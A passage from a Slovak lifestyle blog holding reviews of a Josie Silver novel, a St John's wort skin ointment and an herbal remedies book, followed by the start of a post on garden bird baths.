tehotenstvo jej sestry v sne sa výrazne líši od toho v reálnom živote. A <b>striedať ten bežný a snový život je po čase viac ako náročné</b>.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB63eKMtHsXcCu5APsGGVpniq6-hYvlAcqDseXYd15IpVFyKRSHzNyjYIJaFN8Ph0IFp9Mc6hyj9n0qOXSbnaO8wRdKSoeZaAUJhWVSNBXRqR47G9BYQ5fGAYpTToxu8vshm-WcZ3JMeT4/s2048/recenzia-josie-silver-dvaja-v-jednom-srdci-fortuna-libri.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB63eKMtHsXcCu5APsGGVpniq6-hYvlAcqDseXYd15IpVFyKRSHzNyjYIJaFN8Ph0IFp9Mc6hyj9n0qOXSbnaO8wRdKSoeZaAUJhWVSNBXRqR47G9BYQ5fGAYpTToxu8vshm-WcZ3JMeT4/w640-h480/recenzia-josie-silver-dvaja-v-jednom-srdci-fortuna-libri.jpg" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMYLH-SnYV2xiQhKWM-PC77BtEClQGSbJy_RT3u840-Setju0TUPV29TDb0rcpOEZ0KGRXgurzihm3jPTw2XBAD5tcyPDruke_UHrR0FVJo3xSKxB1KMuvyvT7ldPxag9YXPmYJiQe5qZn/s2048/recenzia-josie-silver-dvaja-v-jednom-srdci-beletria.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMYLH-SnYV2xiQhKWM-PC77BtEClQGSbJy_RT3u840-Setju0TUPV29TDb0rcpOEZ0KGRXgurzihm3jPTw2XBAD5tcyPDruke_UHrR0FVJo3xSKxB1KMuvyvT7ldPxag9YXPmYJiQe5qZn/w640-h480/recenzia-josie-silver-dvaja-v-jednom-srdci-beletria.jpg" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMXLFbaKntroAgKoXQduN8WSijFNHmbpI1h_sctaWU3OFvhJ_-Ryph0F1ws4qlQ2pC2LQzI9vm8j3a1ZctoBivdrTPMYwcvMmnNxzXXGVriWUZRnREjT1QlRf6OMifG-3UhvVgxYmlS8z5/s2048/recenzia-josie-silver-dvaja-v-jednom-srdci-fortuna-kniha.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMXLFbaKntroAgKoXQduN8WSijFNHmbpI1h_sctaWU3OFvhJ_-Ryph0F1ws4qlQ2pC2LQzI9vm8j3a1ZctoBivdrTPMYwcvMmnNxzXXGVriWUZRnREjT1QlRf6OMifG-3UhvVgxYmlS8z5/w640-h480/recenzia-josie-silver-dvaja-v-jednom-srdci-fortuna-kniha.jpg" width="640" /></a></div><p style="text-align: justify;">Lydia sa cíti ako hlavná hrdinka tragického príbehu. Hoci sa jej mama aj sestra snažia pomáhať a nakopnúť ju k bežnému životu, celkom pochopiteľne nie vždy o túto starostlivosť stojí. Keď na ňu padá ťarcha nespravodlivosti sveta a zdá sa, že smútok nemá konca, siahne <b>po tabletke na spanie a ponorí sa do života s Freddiem</b>. Smútku síce Lydia nevie rozkázať, ale čas je veľký liečiteľ a <b>postupne po malých krokoch sa odhodláva na zmeny</b>. Vráti sa do práce, adoptuje si kocúra a náhodou zastúpi voľné miesto na rýchlom rande, ktoré v práci na radnici organizujú. Síce nedopatrením, ale s ohromným výsledkom. Preskočí desivá a celkom neočakávaná iskra, akoby po rokoch s rachotom naskočil starý zhrdzavený motor. Muž číslo 7 – Kris <i><span style="font-size: large;">„...vyzerá ako Viking. Má široké plecia, špinavé blond vlasy, svetlosivé oči a tvári sa pobavene, akoby pôvodne mal stráviť večer v bare.“ s.196</span></i></p><p style="text-align: justify;">Kris vyzerá ako pán dokonalý, ktorý absolútne chápe jej bolesť a prechádza tiež nevydareným a náročným obdobím svojho života. Dá sa povedať, že si <b>rozumejú aj bez slov</b>, no napriek všetkej tejto zhode, ide len o priateľskú zhodu a vítané porozumenie aktuálnej životnej situácie.</p><p style="text-align: justify;"><b>Zmeny sa dejú</b> možno pomalým tempom, ale ich efekt je niekedy až šokujúci. Ako napríklad, keď sa sama vyberie v čase plánovanej svadobnej cesty na dovolenku do Chorvátska a doslova sa jej podarí <b>vyliečiť si dušu</b> a začať <b>plánovať nový život</b>. <i><span style="font-size: large;">„Vnútro mi náhle zaplaví vlna sebauvedomenia, opäť sa cítim ako jednotná, celistvá bytosť. Napovie mi, že moje srdce patrí mne. Najskôr len opatrným šepotom, no postupne prerastie do mocného kriku.“ s.313</span></i></p><p style="text-align: justify;">Keď som na začiatku tejto recenzie písala o 2 hlavných hrdinoch - snúbencoch, nie je tomu celkom tak. Kým ich smrť nerozdelila, boli Lydia a Freddie nerozlučná dvojica, ale dá sa povedať, že v ich vzťahu hral vždy dôležitú úlohu aj <b>Jonah Jones</b>. Freddieho najlepší kamarát a Lydiin najstarší kamarát. Spojili ich školské časy, ale aj roky po tom sa ich osudy neustále prepletali. To, že spomínam Jonaha, však vôbec nie je náhoda. Sedel spolu s Freddiem <b>v aute, keď sa stala tragická nehoda</b>, následkom čoho jeho vzťah s Lydiou dramaticky utrpel (veď on predsa prežil!). Napraviť to nebolo jednoduché, ale určite vám môžem sľúbiť, že <b>záver príbehu bude stáť za to</b>. To, či je predvídateľný alebo nie, to už nechám na vás. Stále je šanca, že to dopadne aj inak ako asi očakávate. Každý si urobí svoj názor, ja si však myslím, že vďaka knihe <a href="https://www.fortunalibri.sk/collections/beletria-pre-dospelych/products/dvaja-v-jednom-srdci" target="_blank">Dvaja v jednom srdci</a> <b>do detailov precítite, aké je to padnúť na dno a potom sa učiť a odhodlávať vstať</b>. A vlastne je v tom aj pekný odkaz, že hoci si niekedy myslíme, že pre nás nastal “koniec sveta“, stále<b> máme 2 silné zbrane - nádej a lásku</b>.</p><br /><b>Originálny názov:</b> The Two Lives of Lydia Bird<div><b>Autor:</b> Josie Silver</div><div><b>Vydavateľstvo:</b> <a href="https://www.fortunalibri.sk/" target="_blank">Fortuna Libri</a><div><b>Rok vydania:</b> 2020<br /><b>Počet strán:</b> 384<br /><b>Bežná predajná cena:</b> 14,90 €<br /><b>Žáner/doba:</b> romantická/tragická beletria zo súčasnosti<h4 style="text-align: justify;">Záverečné zhrnutie: </h4><p style="text-align: justify;">Smutný až tragický príbeh je pochopiteľne plný emócií. Smrť, strata, beznádej...to všetko sa môže stať v okamihu a zrútiť sny a budúcnosť ako domček z kariet. Každý z nás hľadá iné východiská a riešenia. <b>Neexistuje presný návod na smútenie</b> a <b>pre Lydiu to znamená, že sa ponára do snového sveta fantázie</b>. Cestovanie medzi dvomi svetmi je vykreslené akoby existovali paralelne, až začnete pochybovať, či existuje skutočne len jeden svet alebo práve ten snový je schopný ukázať cestu, na ktorú by ste inak nevkročili. Ak poznáte knihu <a href="https://bioekologika.blogspot.com/2020/11/jedneho-dna-v-decembri-josie-silver.html">Jedného dňa v decembri</a> <i>(od tej istej autorky)</i> aj tu ide o podobný štýl príbehu, akoby formou denníka, ale inak by som ich vlastne ani neporovnávala. Podľa mňa sú rozdielne, akurát v tomto príbehu vás čaká <b>oveľa viac vypätých emócií</b>.</p><p style="text-align: right;">✍🏻 <i>by Lulu</i></p></div></div>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0tag:blogger.com,1999:blog-6325209529031853485.post-54337938216767107642021-09-29T19:05:00.002+02:002021-09-30T11:37:26.896+02:00RECENZIA: BIO masť s ľubovníkom BIOTURM<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsPaOIWHJxDAQTAb6SwrIYT1zJIEb8CT0tHLMuLQHOAEo9v2Pl6eILmCwnBVfz7XTD2DBNaETni_ahhrv_GKKh8a6G4hZWBiNYXTB7CIiWi5_YiLLXprlAK6SkXv7GzJmvKx7d55Qo6125/s815/bioturm-bio-lubovnikova-mast.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="611" data-original-width="815" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsPaOIWHJxDAQTAb6SwrIYT1zJIEb8CT0tHLMuLQHOAEo9v2Pl6eILmCwnBVfz7XTD2DBNaETni_ahhrv_GKKh8a6G4hZWBiNYXTB7CIiWi5_YiLLXprlAK6SkXv7GzJmvKx7d55Qo6125/s16000/bioturm-bio-lubovnikova-mast.jpg" /></a></div><br /><p style="text-align: justify;">Keď príde reč na bylinky, vždy spozornieme. Môže ísť o knihy, o recepty alebo o <b>kozmetiku z byliniek</b>...to je v podstate jedno...hlavné je, že témou sú bylinky a naša pozornosť hneď vystrelí do výšin. Ich zásadný prínos pre zdravie a život človeka je nespochybniteľný. Aj preto niet divu, že pokiaľ v kozmetickom svete natrafíme na "bylinkový" kúsok hodný pozornosti, rady vám o ňom dáme vedieť viac. Inak to nebude ani v nasledujúcich riadkoch :)</p><p style="text-align: justify;"><b><span style="font-size: large;"></span></b></p><blockquote><span style="font-size: large;"><b>BIO masť s ľubovníkom</b> od BIOTURM spĺňa 10 z 10 našich požiadaviek na overený a obľúbený pleťový krém, ktorý dokážeme odporúčať hádam každému, bez ohľadu na jeho typ pleti.</span></blockquote><p></p><p style="text-align: justify;">Primárne je určený <b>na poškodenú, podráždenú, začervenanú a napätú pleť</b>, ale s týmito problémami sa často alebo menej často asi trápi každý z nás. Na našu pleť vplýva viacero faktorov a dočasné podráždenie či iná reakcia je len logickou odpoveďou na okolnosti, ktorým ju vystavujeme.</p><p style="text-align: justify;">Hlavnou hviezdou tohto krému je <b>ľubovník bodkovaný</b> (lat. <i>Hypericum perforatum</i>), ktorý sa nazýva aj bylina sv. Jána alebo čarovník, pretože začína kvitnúť približne okolo sviatku sv. Jána, teda 24.6. Pokojne ho môžeme nazvať aj magickou bylinou, pretože už naši predkovia ho používali nielen kvôli zdravotným účinkom (upokojuje, posilňuje nervovú sústavu, pomáha pri nespavosti...) , ale tiež pre jeho magickú silu. <b>Ľubovník </b>je jednou z <b>bylín svätojánskej noci</b> a jeho úlohou je chrániť pred zlými silami, bleskami a zlým počasím. No a nakoniec, keď sa bližšie pozrieme na jeho kozmetickú stránku, k jeho hlavným benefitom patrí <b>schopnosť urýchliť a podporiť hojenie</b> poranenej a poškodenej pokožky, urýchliť jej regeneráciu, stimulovať okysličovanie k poškodeným bunkám, <b>redukovať začervenanie a zápalové procesy </b>a nezanedbateľný je tiež antioxidačný prínos.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0pwMgDO2-2uGN6-8XZJhAhSQFofKrE4ELQov8nFwpVrhCQdRU4L4ljxob7iPUXu4GhM-ostN9MZ9SqKmxA8E8woK4h9Y6TWROu1mwDnJ78WmPNYsGNzf7A4a5t4xtdVazGfMR4FCY9kEb/s2048/bioturm-lubovnikova-mast-bdih.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0pwMgDO2-2uGN6-8XZJhAhSQFofKrE4ELQov8nFwpVrhCQdRU4L4ljxob7iPUXu4GhM-ostN9MZ9SqKmxA8E8woK4h9Y6TWROu1mwDnJ78WmPNYsGNzf7A4a5t4xtdVazGfMR4FCY9kEb/w640-h480/bioturm-lubovnikova-mast-bdih.jpg" width="640" /></a></div><p style="text-align: justify;">Ak ste si už niekedy skúšali <b>doma vyrobiť ľubovníkový olej</b>, tak viete, že po macerovaní na slnku získa výraznú <b>červenú farbu</b>. Je to výsledok prirodzeného procesu, pretože ľubovník obsahuje <b>červené farbivo - hypericín</b>. V prípade <b>BIOTURM maste s ľubovníkom</b> sa však žiadneho neželaného zafarbenia pokožky alebo oblečenia obávať nemusíte. <b>Extrakt z ľubovníka sa získava</b> <b>extrakciou CO2</b>, ktorá je najšetrnejšou a ekologickou metódou a konkrétne v tomto produkte neobsahuje žiadne červené farbivo a <b>nemá fotosenzitívny efekt</b>. Aj vo výsledku je krém/masť<b> čisto biela</b>, takže farbiace nehody tohto typu naozaj nehrozia, a to sa ľubovník kedysi používal ako veľmi efektívne farbivo. Konzistenciou ide o ľahší, ale rozhodne nie tekutý krém. Vlastne, to pomenovanie masť, je asi skôr výsledkom prekladu zo slova <i>salbe</i> (nemecky) alebo <i>ointment</i> (anglicky), pretože v porovnaní s predstavou maste z lekárne alebo tej živočíšnej, je BIOTURM <b>ideálne rozotierateľný a rýchlo sa vstrebateľný krém</b>.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrB2A9CQfSkd7g4IylcV2OZUiATOFxv5sEMFjk8Gp5rgbNaD6e9XNgroQVp2Qh0kqeLewSy6HykbER8V9DQCj9t1kEM1AhNETEhrs9E3rzMF9JA5tDakUA7tafWHh-jbpcS-J91rbtvUow/s2048/bioturm-bio-lubovnikova-mast-podrazdena-plet.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrB2A9CQfSkd7g4IylcV2OZUiATOFxv5sEMFjk8Gp5rgbNaD6e9XNgroQVp2Qh0kqeLewSy6HykbER8V9DQCj9t1kEM1AhNETEhrs9E3rzMF9JA5tDakUA7tafWHh-jbpcS-J91rbtvUow/w640-h480/bioturm-bio-lubovnikova-mast-podrazdena-plet.jpg" width="640" /></a></div><p style="text-align: justify;">Dá sa používať <b>na tvár</b> a samozrejme aj <b>na telo</b> (najmä lokálne), buď ako denný alebo nočný krém. Vďaka <b>schopnosti rýchlo sa vstrebať do pokožky</b>, nerobí žiadne problémy ani v kombinácii s make-upom a tiež ho možno používať aj po nanesení pleťového séra alebo oleja. Úplne <b>najviac ho ocení suchší typ pokožky</b>, ktorá ľahko popraská a keďže nemá dostatok lipidov, je výrazne ťažšie ju zahojiť. V tomto smere je <b>ľubovníkový krém</b> nenahraditeľný pomocník a hoci je konzistencia ľahšia, dokáže dostatočne ošetriť pokožku aj v chladných mesiacoch roka. V oficiálnom popise e-shopu <a href="https://www.idunnashop.sk/25-Pletova-kozmetika" target="_blank">www.idunnashop.sk</a> sa však uvádza aj to, že: <i>„...vďaka extraktu z kvetov ľubovníka bodkovaného pôsobí antibakteriálne na pokožku s akné a rôznymi kožnými nečistotami na pleti. Tento extrakt zabraňuje tvorbe stafylokokov, ktoré postihujú najmä poškodenú pokožku, pretože jej ochranné schopnosti sú porušené. Obsahuje tiež aktívny lakto-intenzívny komplex, ktorý ošetruje pokožku a dodáva jej potrebné vitamíny, minerály a amino kyseliny podobné tým, ktoré sa nachádzajú v ľudskej pokožke.“</i></p><p style="text-align: justify;">Aj toto hovorí o jeho <b>univerzálnosti</b>. Málokedy sa dá nájsť krém, ktorý je univerzálne použiteľný na pleť aj telo a ešte je aj <b>vhodný pre viacero typov pleti</b>, jej <b>rozličných problémov</b> a hodí sa tiež pre <b>rôzne vekové kategórie</b>. Dokonca si trúfame povedať, že sadne aj výrazne citlivej pleti, pretože <b>nie je parfemovaný, </b>vonia iba bylinkovo-prirodzene a zloženie obsahuje veľmi peknú <b>zmes univerzálnych olejov</b><i> (slnečnicový, jojobový, sezamový)</i>, <b>extraktov z kôry magnólie</b> a <b>ľubovníka, skvalán, vitamín E</b> alebo aj <b>oryzanol</b>, ktorý posilňuje ochrannú bariéru pokožky a redukuje zápalové procesy na pokožke. Tento krém sa dá zaradiť do bežnej dennej pleťovej rutiny alebo ho môžete pokojne používať len podľa potreby na akútny zápalový proces, akné alebo popraskanú a začervenanú pokožku. Okrem toho, že <b>pomáha regenerovať a hojiť</b>, pokožku dokáže <b>zjemniť a vyhladiť</b> a nezanecháva ju mastnú alebo lepkavú.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhARRmRPqzYLMUGn8YP8ptCJDVErtilUG0z-etBePxO9aZmtc-UheWl7m8iCkwrwUmleWmaFhpgQyEElt_VpttAmfFQr0zyy_uOZVYmIvlyhZ8v8g9IwxrytPaSQV9T-67epT8GIwQOgyh0/s2048/bioturm-lubovnikova-mast-zacervenana-plet.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhARRmRPqzYLMUGn8YP8ptCJDVErtilUG0z-etBePxO9aZmtc-UheWl7m8iCkwrwUmleWmaFhpgQyEElt_VpttAmfFQr0zyy_uOZVYmIvlyhZ8v8g9IwxrytPaSQV9T-67epT8GIwQOgyh0/w640-h480/bioturm-lubovnikova-mast-zacervenana-plet.jpg" width="640" /></a></div><p style="text-align: justify;"><a href="https://www.idunnashop.sk/BIO-mast-s-lubovnikom-BIOTURM-d1193-htm" target="_blank">Ľubovníkový krém</a> s objemom <b>50 ml</b>, certifikátom <b>BDIH</b> a cenou <b>12,95 €</b> nás v pozitívnom zmysle prekvapil. V podstate sme neočakávali, že si ho môže kúpiť naozaj každý a každý v ňom aj nájde svoje vlastné uplatnenie, ktoré sa mu najviac osvedčí. Podľa našich skúseností tomu však nič nebráni. Určite ho využije celá rodina a môže sa k nemu vracať opakovane. Zaujal aj vás? My sme naň už nahovorili aj našich blízkych :)</p><p style="text-align: right;">✍🏻 <i>by Veve & Lulu</i></p>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0tag:blogger.com,1999:blog-6325209529031853485.post-37766603428558214262021-08-31T11:15:00.000+02:002021-08-31T11:15:19.098+02:00ZDRAVIE Z BYLINIEK (Anna Kopáčová)<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipZx7j6YgHUE1TmqPzSvNNyHxNKB8tdO3waCcHQeb6CzWnVRBVwtl1cWpag769ZXPS9F0ZCi3K4oNdEN-dOGSQ7sX-uYKaw7qyFQjOlpITFLuj7XWi8A25ACBneUa80rlYLaiETppzviDB/s815/anna-kopacova-zdravie-z-byliniek-recenzia-1.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="611" data-original-width="815" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipZx7j6YgHUE1TmqPzSvNNyHxNKB8tdO3waCcHQeb6CzWnVRBVwtl1cWpag769ZXPS9F0ZCi3K4oNdEN-dOGSQ7sX-uYKaw7qyFQjOlpITFLuj7XWi8A25ACBneUa80rlYLaiETppzviDB/s16000/anna-kopacova-zdravie-z-byliniek-recenzia-1.jpg" /></a></div><br /><p style="text-align: justify;">Náš vzťah ku knihám pravidelní blogoví čitatelia už asi dobre poznajú a špeciálne pokiaľ ide o <b>knihy bylinkové</b> alebo tie s prírodnou tematikou. Realita je taká, že automaticky nesiahame po každej novo vydanej, práve naopak, dôkladne si medzi nimi vyberáme. Prečo vám teda chceme predstaviť práve <b>knihu Zdravie z byliniek</b>, keď ich o bylinkách už vzniklo tak veľa a určite pribudnú aj ďalšie? Čítajte ďalej a dozviete sa odpovede :)</p><h4 style="text-align: justify;">Súčasná slovenská bylinkárka</h4><p style="text-align: justify;">Predpokladáme, že pani <b>Annu Kopáčovú</b> ste už zaregistrovali buď v televízii alebo v časopisoch, kde odovzdáva svoje <b>40 - ročné bylinkárske rady a skúsenosti</b>. Ak je vám predsa len neznáma, hneď v úvode knihy nájdete kapitolu s názvom "Niečo o mne" a tam sa s určitosťou dozviete všetko podstatné o jej práci i štúdiu. Nás zaujala hneď prvá veta knihy <span style="font-size: large;"><i>"Zdravie je to najcennejšie, čím mohol byť človek obdarovaný" s.7</i></span> Dnes toto tvrdenie nadobúda ešte väčší význam a preto niet divu, že sa so stále väčšou dôverou ľudia obracajú na <b>tradičné bylinkárske recepty.</b> Práve o ne v tejto knihe rozhodne nie je núdza a ak vás fascinuje svet bylinkárov a chcete vedieť viac, <b>v knihe nájdete množstvo informácií a postupov</b>. Pozitívom je, že sú to rady, ktoré môžete aplikovať doma, sú dostupné a ich príprava je nenáročná. Na konci knihy nájdete aj <b>mini kapitolu o liečebných metódach našich predkov</b> spolu s niekoľkými radami, napríklad aj takou, ako sa s kúskom pijavého papiera liečilo čkanie :)</p><p style="text-align: justify;">Už sme spomenuli <b>40 - ročnú prax Anny Kopáčovej</b> a preto je celkom logické, že za toto obdobie si <b>vytvorila množstvo vlastných receptúr a liečebných metód</b>. Ide najmä o čaje, odvary, maste, tinktúry alebo recepty na obklady a kúpele. Tie nájdete pri každej bylinke, ktorej je venovaná dvojstrana s obrázkom, alebo aj v záverečnej časti knihy, ktorá je zasa <b>venovaná rozličným ochoreniam</b> (cukrovka, epilepsia, chrípka, kašeľ, kĺby, pečeň, štítna žľaza...). Svojimi radami pani Kopáčová ovplyvnila životy už mnohých ľudí, ktorí sa na ňu s dôverou obrátili v tých horších zdravotných etapách svojho života. Samozrejme, nie je to len tak, má absolvovaných niekoľko rôznych štúdií a skúšok.</p><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijhrIp2e_QpJVrLZmMBX2UV39K1jNrJa75D1YEFx3ofLlHuhfjrLu2HsK9LAXNobGG6E0Jccf-mQDpdQ_NS0Nu_0G3HBm6__zSD_qYHLQ6lVAISh3yCgiCUYT-rH_bNOeViWtYwGAEv7XQ/s2048/anna-kopacova-zdravie-z-byliniek-fortuna-libri.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijhrIp2e_QpJVrLZmMBX2UV39K1jNrJa75D1YEFx3ofLlHuhfjrLu2HsK9LAXNobGG6E0Jccf-mQDpdQ_NS0Nu_0G3HBm6__zSD_qYHLQ6lVAISh3yCgiCUYT-rH_bNOeViWtYwGAEv7XQ/w640-h480/anna-kopacova-zdravie-z-byliniek-fortuna-libri.jpg" width="640" /></a></div></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMH-ikGnBSh53sH3S5q-M5ZI3QYk1I_T312f_hRp3Kafh7tb2Vxy7UwKVKXaTlbxZL38b6KhylWGGWfzS7m-IfEILeAZbjlSnPikFDT3ot7NpRDNW_CaL7EtsQ83VfX4_FsTshyEy49IG1/s2048/anna-kopacova-zdravie-z-byliniek-bylinkove-recepty.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMH-ikGnBSh53sH3S5q-M5ZI3QYk1I_T312f_hRp3Kafh7tb2Vxy7UwKVKXaTlbxZL38b6KhylWGGWfzS7m-IfEILeAZbjlSnPikFDT3ot7NpRDNW_CaL7EtsQ83VfX4_FsTshyEy49IG1/w640-h480/anna-kopacova-zdravie-z-byliniek-bylinkove-recepty.jpg" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7Qb8xUIwBDnEUMGAtOeG72jNp3lWhN-iubJkjNmESbh7JRGQsDgPPKttuhT_6XE2Fe0mzwnWqyLh6PIucTMMPjDfuclEV1E2xUcs52S9S-R1HEFbycMnAYaXMPOOSmdNIqCjb5Dxi6VrD/s2048/anna-kopacova-zdravie-z-byliniek-bylinkarka.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7Qb8xUIwBDnEUMGAtOeG72jNp3lWhN-iubJkjNmESbh7JRGQsDgPPKttuhT_6XE2Fe0mzwnWqyLh6PIucTMMPjDfuclEV1E2xUcs52S9S-R1HEFbycMnAYaXMPOOSmdNIqCjb5Dxi6VrD/w640-h480/anna-kopacova-zdravie-z-byliniek-bylinkarka.jpg" width="640" /></a></div><h4 style="text-align: justify;">Obľúbené liečivé rastliny a ich využitie</h4><p style="text-align: justify;">Čo sa týka <b>výberu byliniek</b>, ide najmä o najznámejšie z nich ako <i>alchemilka, bazalka, kapucínka, levanduľa, lipa, mäta, medovka, podbeľ, rebríček</i>... čo je super, pretože sú dostupné a dajú sa jednoducho pestovať aj v domácich podmienkach. Ďalšia skupina byliniek je, dalo by sa povedať, o niečo menej bežná, ale stále dostupná ako napríklad <i>bakopa drobnolistá, balota čierna, huľavník lekársky </i>alebo<i> železník lekársky</i>. Pri každej z nich nájdete <b>stručný botanický opis</b>, využitie v ľudovom liečiteľstve v minulosti i v súčasnosti, <b>zdraviu prospešné látky</b> aj liečivé účinky, zopár overených receptov a orientačný čas zberu. Jednoducho, v tejto knihe získate <b>zhrnuté všetky najdôležitejšie a základné informácie</b>, plus peknú <b>ilustráciu, ktorá bylinku priblíži</b> a pomôže pri jej spoznávaní.</p><p style="text-align: justify;">Asi najčastejší a najbežnejší spôsob využitia byliniek je príprava čaju alebo čajového nálevu/odvaru. Kniha <b>Zdravie z byliniek</b> však ponúka oveľa viac. Samozrejme je v nej <b>veľa receptov</b> na rôzne čajové zmesi, ale aj na tinktúry, oleje, octy, obklady, zábaly alebo maste a tiež stručné zhrnutie o zbere a spracovaní byliniek. <b>Využijete ich od hlavy po päty</b>, pre deti aj pre starších. Ak žijete <b>v spojení s prírodou</b> alebo si uvedomujete, že v tejto oblasti máte, čo doháňať, určite vám <b>má kniha čo ponúknuť.</b> Možno aj zistíte, že viaceré rastliny, ktoré roky pestujete na záhrade majú liečivé účinky, o ktorých ste ani netušili alebo že niektoré z nich potrebujú presadiť z pôvodného stanoviska, aby sa im darilo oveľa lepšie.</p><b>Originálny názov:</b> Zdravie z byliniek<br /><b>Autor:</b> Anna Kopáčová<br /><b>Vydavateľstvo:</b> <a href="https://www.fortunalibri.sk/" target="_blank">Fortuna Libri</a> <br /><b>Rok vydania:</b> 2018<br /><b>Počet strán:</b> 248<br /><b>Bežná predajná cena:</b> 17,90 €<br /><b>Žáner/doba: </b>náučná/voľnočasová literatúra<h4>Záverečné zhrnutie:</h4><p style="text-align: justify;">Doba, v ktorej žijeme sa zvykne nazývať ako doba jedová alebo stresová a čoraz viac ľudí vyhľadáva alternatívne spôsoby, ako si fyzické aj psychické zdravie udržať alebo zlepšiť. Aj preto sa knihy <b>o liečivých rastlinách a tradičných bylinkárskych postupoch</b> udomácňujú u tak veľkého počtu ľudí a čo je najdôležitejšie, informácie z nich aj aktívne využívajú. Knihu <a href="https://www.fortunalibri.sk/products/zdravie-z-byliniek" target="_blank">Zdravie z byliniek</a> môžeme právom zaradiť medzi tituly <b>plné užitočných informácií, ktoré sú okamžite po ruke</b> a ponúkajú zrozumiteľný prehľad o využití liečiviek.</p><p style="text-align: right;">✍🏻 <i>by Veve & Lulu</i></p>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0tag:blogger.com,1999:blog-6325209529031853485.post-26190020416872865402021-08-12T13:05:00.006+02:002023-10-25T09:44:10.541+02:00Vtáčie napájadlá zatraktívnia záhradu<p style="text-align: justify;"></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAWLIVTZyhRfvjPqRA-5vKjF_pnvR_sv2CjB1gRzV6zeRGyX8uk0af3nT6FRV1npxj6AGjx2SJRVVnSvay31beoRZzIjPqHbWxPT_AQLqzWM_GVOe185A2OIsJbjsKZPtyM3kJMSXs13Po/s815/vt%25C3%25A1%25C4%258Die-nap%25C3%25A1jadl%25C3%25A1-zatrakt%25C3%25ADvnia-z%25C3%25A1hradu.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="543" data-original-width="815" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAWLIVTZyhRfvjPqRA-5vKjF_pnvR_sv2CjB1gRzV6zeRGyX8uk0af3nT6FRV1npxj6AGjx2SJRVVnSvay31beoRZzIjPqHbWxPT_AQLqzWM_GVOe185A2OIsJbjsKZPtyM3kJMSXs13Po/s16000/vt%25C3%25A1%25C4%258Die-nap%25C3%25A1jadl%25C3%25A1-zatrakt%25C3%25ADvnia-z%25C3%25A1hradu.jpg" /></a></div><p style="text-align: justify;"><b>Potreba dostatočného pitného režimu</b> býva najmä počas horúcich letných dní neustále zdôrazňovaná. Ako je to ale v prípade vtáčích spevavcov a iných <b>živočíchov, ktorí spoluobývajú naše záhrady</b> alebo ich hoci aj len občasne navštevujú? Mnoho ľudí počas chladných zimných mesiacov zvykne vtáčiky pravidelne prikrmovať, ale pravdou je, že už oveľa menej z nich potom nezabúda aj na <b>poskytnutie pravidelného prísunu čerstvej vody</b>. Rozhodne ani s dostupnou vodou však na ne netreba zabúdať... vodu v záhrade minimálne od jari do jesene <b>ocenia</b> rovnako <b>záhradné spevavé operence</b> ako aj fučiaci ježkovia, veveričky, žabky, ale tiež rôzne chrobáčiky i opeľovače usilovne poletujúce z kvetu na kvet. Každá záhrada by voľne žijúcim zvieratkám mala poskytovať zdroj potravy a vody, bezpečný úkryt i miesta na 